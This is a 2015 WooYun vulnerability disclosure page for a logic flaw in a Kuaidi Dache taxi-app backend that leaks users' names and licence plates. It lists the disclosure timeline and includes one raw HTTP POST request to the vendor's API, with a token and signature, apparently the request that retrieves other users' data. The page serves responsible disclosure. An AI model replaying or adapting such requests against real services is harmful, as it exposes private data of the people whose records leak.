WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145246

漏洞标题：快的打车某重要系统逻辑漏洞可泄漏大量用户敏感信息包括姓名/车牌号等

相关厂商：快的打车

漏洞作者： Martial

提交时间：2015-10-07 23:04

修复时间：2015-11-23 19:50

公开时间：2015-11-23 19:50

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-10-07： 细节已通知厂商并且等待厂商处理中
2015-10-09： 厂商已经确认，细节仅向厂商公开
2015-10-19： 细节向核心白帽子及相关领域专家公开
2015-10-29： 细节向普通白帽子公开
2015-11-08： 细节向实习白帽子公开
2015-11-23： 细节向公众公开

简要描述：

大量用户敏感信息包括姓名/车牌号等

详细说明：

POST /taxi/d/js.do?os=ios&osver=9.0&ver=4.0&lat=40.020826&lng=116.536539&city=110105&ts=1444229236532&idx=2934478&token=cb2d6fd999485732b1ce0d7c2f319150&ccode=86&cmd=60006&sign=9c33497682fb3e5c4096ac1cadaa84d4084fad08bbf63d482308 HTTP/1.1
Host: c2.kuaidadi.com:80
Content-Type: application/json
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: TaxiDriver/4.0 (iPhone; iOS 9.0; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1
Accept-Encoding: gzip, deflate
Content-Length: 59
{"cmd":60006,"request":{"did":"a1a0Ln6L","channel":"1111"}}

漏洞证明：

修复方案：

版权声明：转载请注明来源 Martial@乌云

漏洞回应